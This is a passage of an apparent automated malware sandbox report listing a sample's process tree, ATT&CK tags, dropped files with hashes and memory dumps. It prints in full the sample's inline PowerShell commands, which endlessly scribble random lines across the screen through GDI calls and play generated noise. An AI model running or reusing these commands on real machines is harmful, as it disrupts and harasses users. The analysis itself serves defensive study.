                                      powershell -NoProfile -Command "$code = 'using System; using System.Runtime.InteropServices; public class G2 { [DllImport(\"gdi32.dll\")] public static extern bool LineTo(IntPtr d,int x,int y); [DllImport(\"gdi32.dll\")] public static extern bool MoveToEx(IntPtr d,int x,int y,IntPtr p); [DllImport(\"user32.dll\")] public static extern IntPtr GetDC(IntPtr h); }'; Add-Type -TypeDefinition $code; $d = [G2]::GetDC([IntPtr]::Zero); $r = New-Object System.Random; while(1) { [G2]::MoveToEx($d, $r.Next(0,1920), $r.Next(0,1080), [IntPtr]::Zero); [G2]::LineTo($d, $r.Next(0,1920), $r.Next(0,1080)); Start-Sleep -Milliseconds 10 }"
                                      3⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      PID:2708
                                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gyf4rl3n\gyf4rl3n.cmdline"
                                        4⤵
                                          PID:4764
                                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3927.tmp" "c:\Users\Admin\AppData\Local\Temp\gyf4rl3n\CSC9A01C3E85A9477DBFAA864A88A644C9.TMP"
                                            5⤵
                                              PID:3576
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          powershell -NoProfile -Command "$p = New-Object System.Media.SoundPlayer; $code = 'using System; using System.IO; public class BB2 { public static Stream Generate() { MemoryStream ms = new MemoryStream(); BinaryWriter bw = new BinaryWriter(ms); bw.Write(0x46464952); bw.Write((int)36 + 8000 * 45); bw.Write(0x45564157); bw.Write(0x20746d66); bw.Write((int)16); bw.Write((short)1); bw.Write((short)1); bw.Write((int)8000); bw.Write((int)8000); bw.Write((short)1); bw.Write((short)8); bw.Write(0x61746164); bw.Write((int)8000 * 45); for (int t = 0; t < 8000 * 45; t++) { byte b = (byte)((t * (t >> 8 | t >> 13)) & 255); bw.Write(b); } ms.Seek(0, SeekOrigin.Begin); return ms; } }'; Add-Type -TypeDefinition $code; $p.Stream = [BB2]::Generate(); $p.PlaySync();"
                                          3⤵
                                          • Command and Scripting Interpreter: PowerShell
                                          PID:4528
                                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zbvypbtl\zbvypbtl.cmdline"
                                            4⤵
                                              PID:3040
                                              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3937.tmp" "c:\Users\Admin\AppData\Local\Temp\zbvypbtl\CSCD18412B7D95443EC9549D1A418DAD884.TMP"
                                                5⤵
                                                  PID:984
                                            • C:\Windows\system32\timeout.exe
                                              timeout /t 45 /nobreak
                                              3⤵
                                              • Delays execution with timeout.exe
                                              PID:3352
                                        • C:\Windows\system32\AUDIODG.EXE
                                          C:\Windows\system32\AUDIODG.EXE 0x2f8 0x150
                                          1⤵
                                            PID:4728
                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                            1⤵
                                            • Suspicious use of SetWindowsHookEx
                                            PID:660
                                          • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                            "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                            1⤵
                                              PID:4084
                                            • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                              "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                              1⤵
                                                PID:3420
                                              • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                1⤵
                                                  PID:3616
                                                • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                  "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                  1⤵
                                                    PID:4492
                                                  • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                    "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                    1⤵
                                                      PID:3028
                                                    • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                      "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                      1⤵
                                                        PID:1304
                                                      • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                        "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                        1⤵
                                                          PID:4160
                                                        • C:\Windows\explorer.exe
                                                          explorer.exe
                                                          1⤵
                                                          • Boot or Logon Autostart Execution: Active Setup
                                                          • Enumerates connected drives
                                                          • Checks SCSI registry key(s)
                                                          • Modifies registry class
                                                          • Suspicious use of SendNotifyMessage
                                                          PID:3028
                                                        • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                          "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                          1⤵
                                                            PID:5032
                                                          • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                            1⤵
                                                              PID:3444
                                                            • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                              "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                              1⤵
                                                                PID:3416
                                                              • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                                "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                                1⤵
                                                                  PID:4664
                                                                • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                                  "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                                  1⤵
                                                                    PID:3464
                                                                  • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                                    "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                                    1⤵
                                                                      PID:3288
                                                                    • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                                      "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                                      1⤵
                                                                        PID:3724

                                                                      Network

                                                                            MITRE ATT&CK Enterprise v16

                                                                            Replay Monitor

                                                                            Loading Replay Monitor...

                                                                            Downloads

                                                                            B76BE66D46C355931939D8CF818D03FD_68DC46933CF3DE41CC968E0784D43DC3
                                                                            • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B76BE66D46C355931939D8CF818D03FD_68DC46933CF3DE41CC968E0784D43DC3
                                                                            • Size 2KB
                                                                            • SHA256 c1a5ef361a5f89cc2516275508a683b48421f8926186866bbee6b6b2f517177f
                                                                            • MD5 SHA1 SHA512 TLSH
                                                                            Submit Download

                                                                            E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F
                                                                            • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F
                                                                            • Size 471B
                                                                            • SHA256 0c6829f0d9cededc58517a39e574d69a53c456aeae3ed652bb37a72b6d3ba24e
                                                                            • MD5 SHA1 SHA512 TLSH
                                                                            Submit Download

                                                                            B76BE66D46C355931939D8CF818D03FD_68DC46933CF3DE41CC968E0784D43DC3
                                                                            • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_68DC46933CF3DE41CC968E0784D43DC3
                                                                            • Size 422B
                                                                            • SHA256 9554853267109847810e9054a03f552ad63df62af090d80379d198efa18dad61
                                                                            • MD5 SHA1 SHA512 TLSH
                                                                            Submit Download

                                                                            E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F
                                                                            • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F
                                                                            • Size 412B
                                                                            • SHA256 0fd17e1942dbe731b92a8e15c2b87c7c1c320edc65ce4c97d4c8c8a6714f7599
                                                                            • MD5 SHA1 SHA512 TLSH
                                                                            Submit Download

                                                                            powershell.exe.log
                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                                            • Size 2KB
                                                                            • SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
                                                                            • MD5 SHA1 SHA512 TLSH
                                                                            Submit Download

                                                                            StartupProfileData-NonInteractive
                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                            • Size 64B
                                                                            • SHA256 120aeb6d51d942abd453d508b7bfd606aff0c798e588ca2e18b23d5a993820ad
                                                                            • MD5 SHA1 SHA512
                                                                            Submit Download

                                                                            StartupProfileData-NonInteractive
                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                            • Size 1KB
                                                                            • SHA256 a9d2e6d35c5e9b94326042c6f2fe7ef381f25a0c02b8a559fc1ee888ccffb18e
                                                                            • MD5 SHA1 SHA512 TLSH
                                                                            Submit Download

                                                                            0w2reclr.dll
                                                                            • Path C:\Users\Admin\AppData\Local\Temp\0w2reclr\0w2reclr.dll
                                                                            • Size 3KB
                                                                            • SHA256 d78d979f22f70d063ca64dc5c166e83632a7550ef0652559ea3dde2b456ecbaf
                                                                            • MD5 SHA1 SHA512 TLSH
                                                                            Submit Download

                                                                            59A6.bat
                                                                            • Path C:\Users\Admin\AppData\Local\Temp\59A4.tmp\59A5.tmp\59A6.bat
                                                                            • Size 26KB
                                                                            • SHA256 adea570ff25d275070e9bf2594cf34763c559518118d5be534355ddd0d43e33e
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                            Submit Download

                                                                            RES3927.tmp
                                                                            • Path C:\Users\Admin\AppData\Local\Temp\RES3927.tmp
                                                                            • Size 1KB
                                                                            • SHA256 f917f57f206bc3d6362d55c7ca08aca471b75a91ab78dcbba2740b8dddc216f1
                                                                            • MD5 SHA1 SHA512 TLSH
                                                                            Submit Download

                                                                            RES3937.tmp
                                                                            • Path C:\Users\Admin\AppData\Local\Temp\RES3937.tmp
                                                                            • Size 1KB
                                                                            • SHA256 61135d83bae94ef0f1b0e627ce44f976ad33bf879e608b9391cb3a94d0d99d19
                                                                            • MD5 SHA1 SHA512 TLSH
                                                                            Submit Download

                                                                            RES8DB4.tmp
                                                                            • Path C:\Users\Admin\AppData\Local\Temp\RES8DB4.tmp
                                                                            • Size 1KB
                                                                            • SHA256 0382794be389e383c086353c9a77af9c0707ff59f52ba2701ba23a42006e1383
                                                                            • MD5 SHA1 SHA512 TLSH
                                                                            Submit Download

                                                                            RES8DB5.tmp
                                                                            • Path C:\Users\Admin\AppData\Local\Temp\RES8DB5.tmp
                                                                            • Size 1KB
                                                                            • SHA256 19dabef15ef5ec1b5e06e401dd3b6d468437279484bd78a9de2502da658a6047
                                                                            • MD5 SHA1 SHA512 TLSH
                                                                            Submit Download

                                                                            __PSScriptPolicyTest_4ki1v2zf.j5j.ps1
                                                                            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4ki1v2zf.j5j.ps1
                                                                            • Size 60B
                                                                            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                            • MD5 SHA1 SHA512 TLSH
                                                                            Submit Download

                                                                            gyf4rl3n.dll
                                                                            • Path C:\Users\Admin\AppData\Local\Temp\gyf4rl3n\gyf4rl3n.dll
                                                                            • Size 3KB
                                                                            • SHA256 dc726a0eca86dd25f86324db0f7f0a8bccf14e62605021f59e0c180aa3f1eecf
                                                                            • MD5 SHA1 SHA512 TLSH
                                                                            Submit Download

                                                                            uwmbmyhk.dll
                                                                            • Path C:\Users\Admin\AppData\Local\Temp\uwmbmyhk\uwmbmyhk.dll
                                                                            • Size 3KB
                                                                            • SHA256 66cc2009b486d5c3912fd214f5fca9cd4a54d142db5de19dac58672009bfa4c0
                                                                            • MD5 SHA1 SHA512 TLSH
                                                                            Submit Download

                                                                            zbvypbtl.dll
                                                                            • Path C:\Users\Admin\AppData\Local\Temp\zbvypbtl\zbvypbtl.dll
                                                                            • Size 3KB
                                                                            • SHA256 d3247043c5f2346af9a62239d1d9cbcabb1544278d3acfb050b545e1a12c5a49
                                                                            • MD5 SHA1 SHA512 TLSH
                                                                            Submit Download

                                                                            0w2reclr.0.cs
                                                                            • Path \??\c:\Users\Admin\AppData\Local\Temp\0w2reclr\0w2reclr.0.cs
                                                                            • Size 286B
                                                                            • SHA256 899b13dff0d6ccce2fbd470afc33dfdfc4eb37f0d9b0c54c14b6d1aeb427d22b
                                                                            • MD5 SHA1 SHA512 TLSH
                                                                            Submit Download

                                                                            0w2reclr.cmdline
                                                                            • Path \??\c:\Users\Admin\AppData\Local\Temp\0w2reclr\0w2reclr.cmdline
                                                                            • Size 369B
                                                                            • SHA256 3796b1ec3cb5b74982a06809ae3fe4a3c9e2ccdee332afcef09276e5f38887bc
                                                                            • MD5 SHA1 SHA512 TLSH
                                                                            Submit Download

                                                                            CSC93215F3DFEA440D9A07B118D92BF3659.TMP
                                                                            • Path \??\c:\Users\Admin\AppData\Local\Temp\0w2reclr\CSC93215F3DFEA440D9A07B118D92BF3659.TMP
                                                                            • Size 652B
                                                                            • SHA256 029e48521481e2d1b521c205213eefd39763acac65ca09f55f97d5763c30f63b
                                                                            • MD5 SHA1 SHA512 TLSH
                                                                            Submit Download

                                                                            CSC9A01C3E85A9477DBFAA864A88A644C9.TMP
                                                                            • Path \??\c:\Users\Admin\AppData\Local\Temp\gyf4rl3n\CSC9A01C3E85A9477DBFAA864A88A644C9.TMP
                                                                            • Size 652B
                                                                            • SHA256 67731087aaa1599dfd23a5ee9d12ad02750d79b889cb163c7a6a47caba3d5ef7
                                                                            • MD5 SHA1 SHA512 TLSH
                                                                            Submit Download

                                                                            gyf4rl3n.0.cs
                                                                            • Path \??\c:\Users\Admin\AppData\Local\Temp\gyf4rl3n\gyf4rl3n.0.cs
                                                                            • Size 318B
                                                                            • SHA256 bb4098f1e941b96bfdaf63b1457e24d6089dc4b91817488c04937b773d320129
                                                                            • MD5 SHA1 SHA512 TLSH
                                                                            Submit Download

                                                                            gyf4rl3n.cmdline
                                                                            • Path \??\c:\Users\Admin\AppData\Local\Temp\gyf4rl3n\gyf4rl3n.cmdline
                                                                            • Size 369B
                                                                            • SHA256 6ff2015a602ca61db52fab9e91c60360401d05aa5852c318d57466d246e24868
                                                                            • MD5 SHA1 SHA512 TLSH
                                                                            Submit Download

                                                                            CSC7B5C6E23CF924B4D9BDC776DBA6D2E6C.TMP
                                                                            • Path \??\c:\Users\Admin\AppData\Local\Temp\uwmbmyhk\CSC7B5C6E23CF924B4D9BDC776DBA6D2E6C.TMP
                                                                            • Size 652B
                                                                            • SHA256 9b9a5f7ed6c36e81138c5db5872c883e5a9786ea975bda7f42c1d6b7c812dd4c
                                                                            • MD5 SHA1 SHA512 TLSH
                                                                            Submit Download

                                                                            uwmbmyhk.0.cs
                                                                            • Path \??\c:\Users\Admin\AppData\Local\Temp\uwmbmyhk\uwmbmyhk.0.cs
                                                                            • Size 617B
                                                                            • SHA256 5bff1352d18a66ec19f705564943e07294970d5faf05706a3d2e8d0b450bebce
                                                                            • MD5 SHA1 SHA512 TLSH
                                                                            Submit Download

                                                                            uwmbmyhk.cmdline
                                                                            • Path \??\c:\Users\Admin\AppData\Local\Temp\uwmbmyhk\uwmbmyhk.cmdline
                                                                            • Size 369B
                                                                            • SHA256 dd4526550e460055433678444463a845366d3977181333e7e1f677ef6e3c6cc0
                                                                            • MD5 SHA1 SHA512 TLSH
                                                                            Submit Download

                                                                            CSCD18412B7D95443EC9549D1A418DAD884.TMP
                                                                            • Path \??\c:\Users\Admin\AppData\Local\Temp\zbvypbtl\CSCD18412B7D95443EC9549D1A418DAD884.TMP
                                                                            • Size 652B
                                                                            • SHA256 7c4aabab9ec4c6573bbfc00682e6d85649e1338f4be4a3a6d7c79d8dc1040f3e
                                                                            • MD5 SHA1 SHA512 TLSH
                                                                            Submit Download

                                                                            zbvypbtl.0.cs
                                                                            • Path \??\c:\Users\Admin\AppData\Local\Temp\zbvypbtl\zbvypbtl.0.cs
                                                                            • Size 597B
                                                                            • SHA256 bbfc2b62200d6c2f3e3943159f0fcce957e393ba8e81970c30598b9420ddf504
                                                                            • MD5 SHA1 SHA512 TLSH
                                                                            Submit Download

                                                                            zbvypbtl.cmdline
                                                                            • Path \??\c:\Users\Admin\AppData\Local\Temp\zbvypbtl\zbvypbtl.cmdline
                                                                            • Size 369B
                                                                            • SHA256 a67a3c2882da13a1f9a3fc3554e22948b60e887efe690baa5dc690a6c794df8e
                                                                            • MD5 SHA1 SHA512 TLSH
                                                                            Submit Download

                                                                            memory/2708-108-0x000001F04FAD0000-0x000001F04FAD8000-memory.dmp
                                                                            Download

                                                                            memory/3028-69-0x0000000004900000-0x0000000004901000-memory.dmp
                                                                            Download

                                                                            memory/3608-51-0x000001AC7D380000-0x000001AC7D388000-memory.dmp
                                                                            Download

                                                                            memory/4140-53-0x00000209D29F0000-0x00000209D29F8000-memory.dmp
                                                                            Download

                                                                            memory/4404-62-0x0000000004AB0000-0x0000000004AB1000-memory.dmp
                                                                            Download

                                                                            memory/4528-110-0x00000287BADA0000-0x00000287BADA8000-memory.dmp
                                                                            Download

                                                                            memory/4584-2-0x000001FB3CDD0000-0x000001FB3CDF2000-memory.dmp
                                                                            Download